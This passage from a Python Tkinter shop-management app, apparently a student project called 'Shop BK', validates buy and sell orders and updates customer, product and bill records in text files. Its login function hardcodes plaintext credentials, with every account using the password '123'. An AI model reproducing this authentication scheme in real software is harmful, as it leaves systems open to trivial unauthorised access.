int(day230)\r\n\t\t\tm230 = int(month230)\r\n\t\t\tif m230 not in range(1, 13):\r\n\t\t\t\tcheck_date = False\r\n\t\t\telse:\r\n\t\t\t\tif m230 in [1, 3, 5, 7, 8, 10, 12] and d230 not in range(1, 32):\r\n\t\t\t\t\tcheck_date = False\r\n\t\t\t\telif m230 in [4, 6, 9, 11] and d230 not in range(1, 31):\r\n\t\t\t\t\tcheck_date = False\r\n\t\t\t\telif m230 == 2 and d230 not in range(1, 30):\r\n\t\t\t\t\tcheck_date = False\r\n\t\r\n\tif check_date:\r\n\t\ticon_date23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_date23.configure(image = icon_false23)\r\n\r\n\t# Check OrderID\r\n\tcheck_orderid = True\r\n\tif orderid230 == \"\":\r\n\t\tcheck_orderid = False\r\n\telse:\r\n\t\tcheck_orderid = orderid230.isdigit()\r\n\r\n\tf_orderid = False\r\n\tif check_orderid:\r\n\t\tf_orderid = True\r\n\t\tfile = open(\"hoadon_mua.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; orderid = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\torderid.append(sub[1])\r\n\t\tfor i in range(0, len(orderid)):\r\n\t\t\tif int(orderid[i]) == int(orderid230):\r\n\t\t\t\tf_orderid = False\r\n\t\r\n\tif f_orderid:\r\n\t\ticon_orderid23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_orderid23.configure(image = icon_coincide23)\r\n\r\n\tif check_orderid == False:\r\n\t\ticon_orderid23.configure(image = icon_false23)\r\n\r\n\t# Check CusID\r\n\tcheck_cusid = True\r\n\tif cusid230 == \"\":\r\n\t\tcheck_cusid = False\r\n\telse:\r\n\t\tcheck_cusid = cusid230.isdigit()\r\n\t\r\n\tif check_cusid:\r\n\t\ticon_cusid23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_cusid23.configure(image = icon_false23)\r\n\r\n\t# Check ProdID\r\n\tcheck_prodid = True\r\n\tif prodid230 == \"\":\r\n\t\tcheck_prodid = False\r\n\telse:\r\n\t\tcheck_prodid = prodid230.isdigit()\r\n\t\r\n\tif check_prodid:\r\n\t\ticon_prodid23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_prodid23.configure(image = icon_false23)\r\n\r\n\t# Check Quantity\r\n\tcheck_quantity = True\r\n\tif quantity230 == \"\":\r\n\t\tcheck_quantity = False\r\n\telse:\r\n\t\tcheck_quantity = quantity230.isdigit()\r\n\r\n\tif check_quantity:\r\n\t\ticon_quantity23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_quantity23.configure(image = icon_false23)\r\n\r\n\t# Check Price\r\n\tcheck_price = True\r\n\tif price230 == \"\":\r\n\t\tcheck_price = False\r\n\telse:\r\n\t\tcheck_price = price230.isdigit()\r\n\r\n\tif check_price:\r\n\t\ticon_price23.configure(image = icon_true23)\r\n\telse:\r\n\t\ticon_price23.configure(image = icon_false23)\r\n\r\n\t# All check are true\t\r\n\tif check_date and f_orderid and check_cusid and check_prodid and check_quantity and check_price:\r\n\t\t# Check if this customer has already existed\r\n\t\tfile = open(\"customer.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; name231 = []; phone231 = []; age231 = []; gender231 = []; price231 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tname231.append(sub[0])\r\n\t\t\tphone231.append(sub[1])\r\n\t\t\tage231.append(sub[2])\r\n\t\t\tgender231.append(sub[3])\r\n\t\t\tprice231.append(sub[4])\r\n\r\n\t\tf_cusid = False\r\n\t\tfor i in range(0, len(phone231)):\r\n\t\t\tif phone231[i] == cusid230:\r\n\t\t\t\tf_cusid = True\r\n\t\t\t\tprice231[i] = str(int(price231[i]) + int(quantity230)*int(price230)) \r\n\t\t\t\tdata[i] = name231[i] + \" \" + phone231[i] + \" \" + age231[i] + \" \" + gender231[i] + \" \" + price231[i] + \"\\n\"\r\n\t\t\t\ticon_cusid23.configure(image = icon_exist23)\r\n\t\tif f_cusid == False:\r\n\t\t\tnew_cus = \"x\" + \" \" + cusid230 + \" \" + \"0\" + \" \" + \"x\" + \" \" + str(int(quantity230)*int(price230)) + \"\\n\"\r\n\t\t\tdata.append(new_cus)\r\n\t\t\ticon_cusid23.configure(image = icon_notexist23) \r\n\r\n\t\tfile = open(\"customer.txt\", \"r+\")\r\n\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\tfile.close()\r\n\r\n\t\t# Check if this product has already existed\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id231 = []; type231 = []; size231 = []; brand231 = []; quantity231 = []; price231 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid231.append(sub[0])\r\n\t\t\ttype231.append(sub[1])\r\n\t\t\tsize231.append(sub[2])\r\n\t\t\tbrand231.append(sub[3])\r\n\t\t\tquantity231.append(sub[4])\r\n\t\t\tprice231.append(sub[5])\r\n\r\n\t\tf_prodid = False\r\n\t\tfor i in range(0, len(id231)):\r\n\t\t\tif int(id231[i]) == int(prodid230):\r\n\t\t\t\tf_prodid = True\r\n\t\t\t\tquantity231[i] = str(int(quantity231[i]) + int(quantity230))\r\n\t\t\t\tif int(price231[i]) < 2*int(price230):\r\n\t\t\t\t\tprice231[i] = str(2*int(price230))\r\n\t\t\t\tdata[i] = id231[i] + \" \" + type231[i] + \" \" + size231[i] + \" \" + brand231[i] + \" \" + quantity231[i] + \" \" + price231[i] + \"\\n\"\r\n\t\t\t\ticon_prodid23.configure(image = icon_exist23)\r\n\t\tif f_prodid == False:\r\n\t\t\tnew_prod = prodid230 + \" \" + \"x\" + \" \" + \"0\" + \" \" + \"x\" + \" \" + quantity230 + \" \" + str(2*int(price230)) + \"\\n\"\r\n\t\t\tdata.append(new_prod)\r\n\t\t\ticon_prodid23.configure(image = icon_notexist23) \r\n\r\n\t\tfile = open(\"product.txt\", \"r+\")\r\n\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\tfile.close()\r\n\r\n\t\t# Create Bill\r\n\t\tresults23.configure(text = 1)\r\n\t\tresults23_date.configure(text = day230 + \"/\" + month230)\r\n\t\tresults23_orderid.configure(text = orderid230)\r\n\t\tresults23_cusid.configure(text = cusid230)\r\n\t\tresults23_prodid.configure(text = prodid230)\r\n\t\tresults23_quantity.configure(text = quantity230)\r\n\t\tresults23_price.configure(text = price230)\r\n\t\tfile = open(\"hoadon_mua.txt\", \"a+\")\r\n\t\tfile.writelines(day230 + \".\" + month230 + \" \" + orderid230 + \" \" + cusid230 + \" \" + prodid230 + \" \" + quantity230 + \" \" + price230 + \"\\n\")\r\n\t\tfile.close()\r\n\telse:\r\n\t\tresults23.configure(text = \"\")\r\n\t\tresults23_date.configure(text = \"\")\r\n\t\tresults23_orderid.configure(text = \"\")\r\n\t\tresults23_cusid.configure(text = \"\")\r\n\t\tresults23_prodid.configure(text = \"\")\r\n\t\tresults23_quantity.configure(text = \"\")\r\n\t\tresults23_price.configure(text = \"\")\r\n# Sell\r\ndef sell2():\r\n\tglobal scr24\r\n\tglobal fr241\r\n\tglobal fr242\r\n\tglobal day_entry24\r\n\tglobal month_entry24\r\n\tglobal orderid_entry24\r\n\tglobal cusid_entry24\r\n\tglobal prodid_entry24\r\n\tglobal quantity_entry24\r\n\tglobal rs24\r\n\tglobal results24\r\n\tglobal results24_date\r\n\tglobal results24_orderid\r\n\tglobal results24_cusid\r\n\tglobal results24_prodid\r\n\tglobal results24_quantity\r\n\tglobal results24_price\r\n\tglobal state24\r\n\tglobal icon_date24\r\n\tglobal icon_orderid24\r\n\tglobal icon_cusid24\r\n\tglobal icon_prodid24\r\n\tglobal icon_quantity24\r\n\tglobal icon_price24\r\n\tglobal icon_true24\r\n\tglobal icon_false24\r\n\tglobal icon_exist24\r\n\tglobal icon_notexist24\r\n\tglobal icon_notexist242\r\n\tglobal icon_coincide24\r\n\tglobal icon_exclamation24\r\n\tglobal icon_bg24\r\n\tglobal back24\r\n\r\n\tscr023.withdraw()\r\n\tscr24 = Toplevel(scr023)\r\n\tx0 = scr023.winfo_x()\r\n\ty0 = scr023.winfo_y()\r\n\tscr24.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr24.title(\"Sell\")\r\n\tscr24.resizable(width = False, height = False)\r\n\tscr24.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr24, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr24)\r\n\tfr241 = Frame(fr)\r\n\t\r\n\t# Date\r\n\tLabel(fr241, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr241).grid(row = 1)\r\n\tday = StringVar()\r\n\tday_entry24 = Entry(fr241, textvariable = day, width = 7, font = 30)\r\n\tday_entry24.grid(row = 0, column = 1, sticky = W)\r\n\r\n\tLabel(fr241, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 0, column = 2)\r\n\t\r\n\tmonth = StringVar()\r\n\tmonth_entry24 = Entry(fr241, textvariable = month, width = 7, font = 30)\r\n\tmonth_entry24.grid(row = 0, column = 3, sticky = E)\r\n\r\n\t# OrderID\r\n\tLabel(fr241, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr241).grid(row = 3)\r\n\torderid = StringVar()\r\n\torderid_entry24 = Entry(fr241, textvariable = orderid, width = 20, font = 30)\r\n\torderid_entry24.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# CusID\r\n\tLabel(fr241, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr241).grid(row = 5)\r\n\tcusid = StringVar()\r\n\tcusid_entry24 = Entry(fr241, textvariable = cusid, width = 20, font = 30)\r\n\tcusid_entry24.grid(row = 4, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# ProdID\r\n\tLabel(fr241, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr241).grid(row = 7)\r\n\tproid = StringVar()\r\n\tprodid_entry24 = Entry(fr241, textvariable = proid, width = 20, font = 30)\r\n\tprodid_entry24.grid(row = 6, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Quantity\r\n\tLabel(fr241, text = \"Quantity\", font = (\"Tahoma\", 20)).grid(row = 8, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr241).grid(row = 9)\r\n\tquantity = StringVar()\r\n\tquantity_entry24 = Entry(fr241, textvariable = quantity, width = 20, font = 30)\r\n\tquantity_entry24.grid(row = 8, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Reset\r\n\trs24 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr241, image = rs24, relief = FLAT, command = reset24).grid(row = 10, column = 1, sticky = W)\r\n\t\r\n\t# CREATE\r\n\tButton(fr241, text = \"CREATE\", font = (\"Tahoma\", 16), command = create24).grid(row = 10, column = 2, columnspan = 2, sticky = E)\r\n\tscr24.bind(\"<Return>\", create24)\r\n\r\n\t# State\r\n\tstate24 = Label(fr241, font = (\"Arial\", 15))\r\n\tstate24.grid(row = 11, column = 1, columnspan = 3)\r\n\r\n\t# Back to login\r\n\tback24 = PhotoImage(file = \"left.png\")\r\n\tButton(fr241, image = back24, relief = FLAT, command = sell2trans24).grid(row = 12, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true24 = PhotoImage(file = \"true.png\")\r\n\ticon_false24 = PhotoImage(file = \"false.png\")\r\n\ticon_exist24 = PhotoImage(file = \"exist.png\")\r\n\ticon_notexist24 = PhotoImage(file = \"notexist.png\")\r\n\ticon_notexist242 = PhotoImage(file = \"notexist2.png\")\r\n\ticon_coincide24 = PhotoImage(file = \"coincide.png\")\r\n\ticon_exclamation24 = PhotoImage(file = \"!.png\")\r\n\ticon_bg24 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_date24 = Label(fr241, image = icon_bg24)\r\n\ticon_date24.grid(row = 0, column = 6, padx = 20)\r\n\ticon_orderid24 = Label(fr241, image = icon_bg24)\r\n\ticon_orderid24.grid(row = 2, column = 6, padx = 20)\r\n\ticon_cusid24 = Label(fr241, image = icon_bg24)\r\n\ticon_cusid24.grid(row = 4, column = 6, padx = 20)\r\n\ticon_prodid24 = Label(fr241, image = icon_bg24)\r\n\ticon_prodid24.grid(row = 6, column = 6, padx = 20)\r\n\ticon_quantity24 = Label(fr241, image = icon_bg24)\r\n\ticon_quantity24.grid(row = 8, column = 6, padx = 20)\r\n\r\n\t## Results\r\n\tfr242 = Frame(fr)\r\n\tLabel(fr242, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 12)\r\n\tLabel(fr242, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 12)\r\n\tLabel(fr242, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 12)\r\n\tLabel(fr242, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 12)\r\n\tLabel(fr242, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, padx = 12)\r\n\tLabel(fr242, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 12)\r\n\tLabel(fr242, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 12)\r\n\r\n\t# No.\r\n\tresults24 = Label(fr242, font = (\"Tahoma\", 20))\r\n\tresults24.grid(row = 1, column = 5)\r\n\r\n\t# Date\r\n\tresults24_date = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_date.grid(row = 1, column = 6)\r\n\r\n\t# OrderID\r\n\tresults24_orderid = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_orderid.grid(row = 1, column = 7)\r\n\r\n\t# CusID\r\n\tresults24_cusid = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_cusid.grid(row = 1, column = 8)\r\n\r\n\t# ProdID\r\n\tresults24_prodid = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_prodid.grid(row = 1, column = 9)\r\n\r\n\t# Quantity\r\n\tresults24_quantity = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_quantity.grid(row = 1, column = 10)\r\n\r\n\t# Price\r\n\tresults24_price = Label(fr242, font = (\"Arial\", 15))\r\n\tresults24_price.grid(row = 1, column = 11)\r\n\t\r\n\tfr241.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr242.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef sell2trans24():\r\n\tx0 = scr24.winfo_x()\r\n\ty0 = scr24.winfo_y()\r\n\tscr24.destroy()\r\n\tscr023.deiconify()\r\n\tscr023.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset24():\r\n\tday_entry24.delete(0, END)\r\n\tmonth_entry24.delete(0, END)\r\n\torderid_entry24.delete(0, END)\r\n\tcusid_entry24.delete(0, END)\r\n\tprodid_entry24.delete(0, END)\r\n\tquantity_entry24.delete(0, END)\r\n\r\n\ticon_date24.configure(image = icon_bg24)\r\n\ticon_orderid24.configure(image = icon_bg24)\r\n\ticon_cusid24.configure(image = icon_bg24)\r\n\ticon_prodid24.configure(image = icon_bg24)\r\n\ticon_quantity24.configure(image = icon_bg24)\r\n\tstate24.configure(text = \"\")\r\n\r\n\tresults24.configure(text = \"\")\r\n\tresults24_date.configure(text = \"\")\r\n\tresults24_orderid.configure(text = \"\")\r\n\tresults24_cusid.configure(text = \"\")\r\n\tresults24_prodid.configure(text = \"\")\r\n\tresults24_quantity.configure(text = \"\")\r\n\tresults24_price.configure(text = \"\")\r\n\t\r\n\r\ndef create24(*arg):\r\n\tday240 = day_entry24.get()\r\n\tmonth240 = month_entry24.get()\r\n\torderid240 = orderid_entry24.get()\r\n\tcusid240 = cusid_entry24.get()\r\n\tprodid240 = prodid_entry24.get()\r\n\tquantity240 = quantity_entry24.get()\r\n\r\n\t# Check date\r\n\tcheck_date = True\r\n\tif day240 == \"\" or month240 == \"\":\r\n\t\tcheck_date = False\r\n\telse:\r\n\t\tif (day240.isdigit() == False or month240.isdigit() == False):\r\n\t\t\tcheck_date = False\r\n\t\telse:\r\n\t\t\td240 = int(day240)\r\n\t\t\tm240 = int(month240)\r\n\t\t\tif m240 not in range(1, 13):\r\n\t\t\t\tcheck_date = False\r\n\t\t\telse:\r\n\t\t\t\tif m240 in [1, 3, 5, 7, 8, 10, 12] and d240 not in range(1, 32):\r\n\t\t\t\t\tcheck_date = False\r\n\t\t\t\telif m240 in [4, 6, 9, 11] and d240 not in range(1, 31):\r\n\t\t\t\t\tcheck_date = False\r\n\t\t\t\telif m240 == 2 and d240 not in range(1, 30):\r\n\t\t\t\t\tcheck_date = False\r\n\t\r\n\tif check_date:\r\n\t\ticon_date24.configure(image = icon_true24)\r\n\telse:\r\n\t\ticon_date24.configure(image = icon_false24)\r\n\r\n\t# Check OrderID\r\n\tcheck_orderid = True\r\n\tif orderid240 == \"\":\r\n\t\tcheck_orderid = False\r\n\telse:\r\n\t\tcheck_orderid = orderid240.isdigit()\r\n\r\n\tf_orderid = False\r\n\tif check_orderid:\r\n\t\tf_orderid = True\r\n\t\tfile = open(\"hoadon_ban.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; orderid = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\torderid.append(sub[1])\r\n\t\tfor i in range(0, len(orderid)):\r\n\t\t\tif int(orderid[i]) == int(orderid240):\r\n\t\t\t\tf_orderid = False\r\n\t\r\n\tif f_orderid:\r\n\t\ticon_orderid24.configure(image = icon_true24)\r\n\telse:\r\n\t\ticon_orderid24.configure(image = icon_coincide24)\r\n\r\n\tif check_orderid == False:\r\n\t\ticon_orderid24.configure(image = icon_false24)\r\n\r\n\t# Check CusID\r\n\tcheck_cusid = True\r\n\tif cusid240 == \"\":\r\n\t\tcheck_cusid = False\r\n\telse:\r\n\t\tcheck_cusid = cusid240.isdigit()\r\n\t\r\n\tif check_cusid:\r\n\t\ticon_cusid24.configure(image = icon_true24)\r\n\telse:\r\n\t\ticon_cusid24.configure(image = icon_false24)\r\n\r\n\t# Check ProdID\r\n\tcheck_prodid = True\r\n\tif prodid240 == \"\":\r\n\t\tcheck_prodid = False\r\n\telse:\r\n\t\tcheck_prodid = prodid240.isdigit()\r\n\r\n\tf_prodid = False\r\n\tif check_prodid:\r\n\t\tf_prodid = True\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; prodid = []; price = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tprodid.append(sub[0])\r\n\t\t\tprice.append(sub[5])\r\n\t\tfor i in range(0, len(prodid)):\r\n\t\t\tif int(prodid[i]) == int(prodid240):\r\n\t\t\t\tf_prodid = False\r\n\t\t\t\tprice240 = price[i]\r\n\t\r\n\tif f_prodid:\r\n\t\ticon_prodid24.configure(image = icon_notexist242)\r\n\telse:\r\n\t\ticon_prodid24.configure(image = icon_true24)\r\n\r\n\tif check_prodid == False:\r\n\t\ticon_prodid24.configure(image = icon_false24)\r\n\r\n\t# Check Quantity\r\n\tcheck_quantity = True\r\n\tif quantity240 == \"\":\r\n\t\tcheck_quantity = False\r\n\telse:\r\n\t\tcheck_quantity = quantity240.isdigit()\r\n\r\n\tif check_quantity:\r\n\t\ticon_quantity24.configure(image = icon_true24)\r\n\telse:\r\n\t\ticon_quantity24.configure(image = icon_false24)\r\n\r\n\t# All check are true\t\r\n\tif check_date and f_orderid and check_cusid and not f_prodid and check_quantity:\r\n\t\t# Check if this product is enough\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id241 = []; type241 = []; size241 = []; brand241 = []; quantity241 = []; price241 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid241.append(sub[0])\r\n\t\t\ttype241.append(sub[1])\r\n\t\t\tsize241.append(sub[2])\r\n\t\t\tbrand241.append(sub[3])\r\n\t\t\tquantity241.append(sub[4])\r\n\t\t\tprice241.append(sub[5])\r\n\r\n\t\tfor i in range(0, len(id241)):\r\n\t\t\tif int(id241[i]) == int(prodid240):\r\n\t\t\t\tif int(quantity241[i]) < int(quantity240):\r\n\t\t\t\t\ticon_quantity24.configure(image = icon_exclamation24)\r\n\t\t\t\t\tstate24.configure(text = \"Not enough\")\r\n\t\t\t\telse:\r\n\t\t\t\t\ticon_quantity24.configure(image = icon_true24)\r\n\t\t\t\t\tstate24.configure(text = \"\")\r\n\t\t\t\t\tquantity241[i] = str(int(quantity241[i]) - int(quantity240))\r\n\t\t\t\t\tdata[i] = id241[i] + \" \" + type241[i] + \" \" + size241[i] + \" \" + brand241[i] + \" \" + quantity241[i] + \" \" + price241[i] + \"\\n\"\r\n\t\t\t\t\tfile = open(\"product.txt\", \"r+\")\r\n\t\t\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\t\t\tfile.close()\r\n\r\n\t\t\t\t\t# Check if this customer has alreadry existed\r\n\t\t\t\t\tfile = open(\"customer.txt\")\r\n\t\t\t\t\tlines = sum(1 for line in file)\r\n\t\t\t\t\tfile.seek(0)\r\n\t\t\t\t\tdata = []; name241 = []; phone241 = []; age241 = []; gender241 = []; price241 = []\r\n\t\t\t\t\tfor i in range(0, lines):\r\n\t\t\t\t\t\tdata.append(file.readline()) \r\n\t\t\t\t\tfile.close()\r\n\t\t\t\t\tfor i in range(0, lines):\r\n\t\t\t\t\t\tsub = data[i].split()\r\n\t\t\t\t\t\tname241.append(sub[0])\r\n\t\t\t\t\t\tphone241.append(sub[1])\r\n\t\t\t\t\t\tage241.append(sub[2])\r\n\t\t\t\t\t\tgender241.append(sub[3])\r\n\t\t\t\t\t\tprice241.append(sub[4])\r\n\r\n\t\t\t\t\tf_cusid = False\r\n\t\t\t\t\tfor i in range(0, len(phone241)):\r\n\t\t\t\t\t\tif phone241[i] == cusid240:\r\n\t\t\t\t\t\t\tf_cusid = True\r\n\t\t\t\t\t\t\tprice241[i] = str(int(price241[i]) + int(quantity240)*int(price240)) \r\n\t\t\t\t\t\t\tdata[i] = name241[i] + \" \" + phone241[i] + \" \" + age241[i] + \" \" + gender241[i] + \" \" + price241[i] + \"\\n\"\r\n\t\t\t\t\t\t\ticon_cusid24.configure(image = icon_exist24)\r\n\t\t\t\t\tif f_cusid == False:\r\n\t\t\t\t\t\tnew_cus = \"x\" + \" \" + cusid240 + \" \" + \"0\" + \" \" + \"x\" + \" \" + str(int(quantity240)*int(price240)) + \"\\n\"\r\n\t\t\t\t\t\tdata.append(new_cus)\r\n\t\t\t\t\t\ticon_cusid24.configure(image = icon_notexist24) \r\n\r\n\t\t\t\t\tfile = open(\"customer.txt\", \"r+\")\r\n\t\t\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\t\t\tfile.close()\r\n\r\n\t\t\t\t\t# Create bill\r\n\t\t\t\t\tresults24.configure(text = 1)\r\n\t\t\t\t\tresults24_date.configure(text = day240 + \"/\" + month240)\r\n\t\t\t\t\tresults24_orderid.configure(text = orderid240)\r\n\t\t\t\t\tresults24_cusid.configure(text = cusid240)\r\n\t\t\t\t\tresults24_prodid.configure(text = prodid240)\r\n\t\t\t\t\tresults24_quantity.configure(text = quantity240)\r\n\t\t\t\t\tresults24_price.configure(text = price240)\r\n\t\t\t\t\tfile = open(\"hoadon_ban.txt\", \"a+\")\r\n\t\t\t\t\tfile.writelines(day240 + \".\" + month240 + \" \" + orderid240 + \" \" + cusid240 + \" \" + prodid240 + \" \" + quantity240 + \" \" + price240 + \"\\n\")\r\n\t\t\t\t\tfile.close()\r\n\t\t\t\t\tbreak\r\n\telse:\r\n\t\tresults24.configure(text = \"\")\r\n\t\tresults24_date.configure(text = \"\")\r\n\t\tresults24_orderid.configure(text = \"\")\r\n\t\tresults24_cusid.configure(text = \"\")\r\n\t\tresults24_prodid.configure(text = \"\")\r\n\t\tresults24_quantity.configure(text = \"\")\r\n\t\tresults24_price.configure(text = \"\")\r\n###---------------------###\r\n## Login\r\ndef boss(*arg):\r\n\tglobal scr01\r\n\tglobal back01\r\n\troot.withdraw()\r\n\tscr01 = Toplevel(root)\r\n\tx0 = root.winfo_x()\r\n\ty0 = root.winfo_y()\r\n\tscr01.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr01.title(\"Function\")\r\n\tscr01.resizable(width = False, height = False)\r\n\tlogo(scr01, 1)\r\n\tscr01.protocol(\"WM_DELETE_WINDOW\", close) \r\n\r\n\tfr = Frame(scr01)\r\n\tLabel(fr, text = \"Hi Boss\", font = 30, fg = \"red\").grid(row = 0, pady = 10)\r\n\tButton(fr, text = \"1. Customer\", width = 20, font = (\"Tahoma\", 20), command = customer1).grid(row = 1, pady = 30)\r\n\tscr01.bind(\"1\", customer1)\r\n\t\r\n\tButton(fr, text = \"2. Product\", width = 20, font = (\"Tahoma\", 20), command = product1).grid(row = 2, pady = 30)\r\n\tscr01.bind(\"2\", product1)\r\n\r\n\tButton(fr, text = \"3. Transaction\", width = 20, font = (\"Tahoma\", 20), command = transaction1).grid(row = 3, pady = 30)\r\n\tscr01.bind(\"3\", transaction1)\r\n\t\r\n\tback01 = PhotoImage(file = \"logout.png\")\r\n\tButton(fr, image = back01, relief = FLAT, command = boss2home).grid(row = 4, pady = 10)\r\n\tfr.grid(row = 1, pady = 20)\r\n\r\ndef boss2home():\r\n\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to log out?\") == 'yes':\r\n\t\tx0 = scr01.winfo_x()\r\n\t\ty0 = scr01.winfo_y()\r\n\t\tscr01.destroy()\r\n\t\troot.deiconify()\r\n\t\troot.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef employee():\r\n\tglobal scr02\r\n\tglobal back02\r\n\troot.withdraw()\r\n\tscr02 = Toplevel(root)\r\n\tx0 = root.winfo_x()\r\n\ty0 = root.winfo_y()\r\n\tscr02.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr02.title(\"Function\")\r\n\tscr02.resizable(width = False, height = False)\r\n\tlogo(scr02, 1)\r\n\tscr02.protocol(\"WM_DELETE_WINDOW\", close) \r\n\r\n\tfr = Frame(scr02)\r\n\tLabel(fr, text = \"Hi \" + user.title(), font = 30, fg = \"red\").grid(row = 0, pady = 10)\r\n\tButton(fr, text = \"1. Customer\", width = 20, font = (\"Tahoma\", 20), command = customer2).grid(row = 1, pady = 30)\r\n\tscr02.bind(\"1\", customer2)\r\n\t\r\n\tButton(fr, text = \"2. Product\", width = 20, font = (\"Tahoma\", 20), command = product2).grid(row = 2, pady = 30)\r\n\tscr02.bind(\"2\", product2)\r\n\r\n\tButton(fr, text = \"3. Transaction\", width = 20, font = (\"Tahoma\", 20), command = transaction2).grid(row = 3, pady = 30)\r\n\tscr02.bind(\"3\", transaction2)\r\n\t\r\n\tback02 = PhotoImage(file = \"logout.png\")\r\n\tButton(fr, image = back02, relief = FLAT, command = emp2home).grid(row = 4, pady = 10)\r\n\tfr.grid(row = 1, pady = 20)\r\n\r\ndef emp2home():\r\n\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to log out?\") == 'yes':\r\n\t\tx0 = scr02.winfo_x()\r\n\t\ty0 = scr02.winfo_y()\r\n\t\tscr02.destroy()\r\n\t\troot.deiconify()\r\n\t\troot.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef login(*arg):\r\n\tglobal user\r\n\tm = mode.get()\r\n\tuser = username_entry.get()\r\n\tpasswd = password_entry.get()\r\n\r\n\tif m == 1:\r\n\t\tif user == \"boss\" and passwd == \"123\":\r\n\t\t\tboss()\r\n\t\telse:\r\n\t\t\tmessagebox.showinfo(\"Oops\", \"The username or password is incorrect!\")\r\n\r\n\tif m == 2:\r\n\t\tif user in [\"duy\", \"dat\", \"dang\", \"duc\", \"giang\", \"hoang\"] and passwd == \"123\":\r\n\t\t\temployee()\r\n\t\telse:\r\n\t\t\tmessagebox.showinfo(\"Oops\", \"The username or password is incorrect!\")\r\n\r\n###----------------------###\r\n## Main\r\ndef main_screen():\r\n\tglobal root\r\n\tglobal lg\r\n\tglobal username_entry\r\n\tglobal password_entry\r\n\tglobal mode\r\n\r\n\troot = Tk()\r\n\troot.geometry(\"1200x700+200+50\")\r\n\troot.title(\"SHOP BK\")\r\n\troot.resizable(width = False, height = False) \r\n\troot.title(\"Shop BK\")\r\n\tlg = 